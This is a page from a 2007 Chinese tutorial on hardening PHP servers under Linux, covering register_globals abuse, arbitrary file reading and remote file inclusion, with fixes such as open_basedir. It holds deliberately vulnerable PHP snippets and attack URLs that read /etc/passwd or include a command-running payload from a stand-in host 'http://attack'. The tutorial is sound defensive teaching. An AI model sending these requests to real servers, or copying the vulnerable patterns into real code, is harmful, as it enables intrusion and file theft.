频道直达 - 专题 - 新闻 - 技巧 - 组网 - 开发 - 安全 - web编程 - 图像 - 操作系统 - 数据库 - 教育 - 旅游 - 健康 - 时尚 - 驱动 - 软件 - 游戏 - 多媒体 - ERP - 讨论组

Linux操作系统下PHP服务器安全配置技巧

来源: 作者: 出处:巧巧读书 2007-08-25 进入讨论组
上一页 1 2 3 4 5 下一页 

    2、变量滥用

    PHP默认register_globals = On,对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = "EGPCS"(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:

    <?
    //test_1.php
    if ($pass == "hello")
        $auth = 1;
    if ($auth == 1)
        echo "some important information";
    else
        echo "nothing";
          ?>

    攻击者只需用如下的请求就能绕过检查:

    http://victim/test_1.php?auth=1

    这虽然是一个很弱智的错误,但一些着名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞:http://www.securityfocus.com/bid/3361

    PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。

    解决方法:

    配置文件php.ini设置register_globals = Off。

    要求程序员对作为判断的变量在程序最开始初始化一个值。

    3、文件打开

    极易受攻击的代码片断:

    <?
    //test_2.php
    if (!($str = readfile("$filename"))) {
        echo("Could not open file: $filename<BR>\n");
        exit;
    }
    else {
        echo $str;
    }
          ?>

    由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:

    http://victim/test_2.php?filename=/etc/passwd

    如下请求可以读php文件本身:

    http://victim/test_2.php?filename=test_2.php

    PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。

    解决方法:

    如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:

    <Directory /usr/local/apache/htdocs>
        php_admin_value open_basedir /usr/local/apache/htdocs
          </Directory>

    重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:

    Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

    使用safe_mode模式也能避免这种问题,前面已经讨论过了。

    4、包含文件

    极易受攻击的代码片断:

    <?
    //test_3.php
    if(file_exists($filename))
        include("$filename");
          ?>

    这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:

    http://victim/test_3.php?filename=/etc/passwd

    如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,如http://attack/attack.txt的内容是:

    <?passthru("ls /etc")?>

    那么如下的请求就可以在目标主机执行命令ls /etc:

    http://victim/test_3.php?filename=http://attack/attack.txt

    攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。

    对于另外一种形式,如下代码片断:

    <?
    //test_4.php
    include("$lib/config.php");
          ?>

    攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:

    http://victim/test_4.php?lib=http://attack

    PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。Web: http://www.qqread.com/linux/2007/08/y327834.html 更多文章 更多内容请看路由安全配置专题FTP服务器Linux系统实用教程专题,或进入讨论组讨论。

    更多专题 【深 度 阅 读】 相 关 文 章
      上一页 1 2 3 4 5 下一页 
      收藏此文】【 】【打印】【关闭
      相关图文阅读
      频道图文推荐
      健 康 咨 询
      时 尚 咨 询
      巧巧读书宗旨
      相关专题
      讨论组问题推荐
      站内各频道最新更新文档
      站内最新制作专题
      热门关键字导读
      Photoshop教 程照片处理 照片制作 PS快捷键 抠图
      计 算 机 故 障XP系统修复
      艺 术 与 设 计设计 流媒体 设计欣赏 边框
      计 算 机 安 全ARP
      站内频道文章精选
      巧巧电脑频道编辑信箱  告诉我们您想看的专题或文章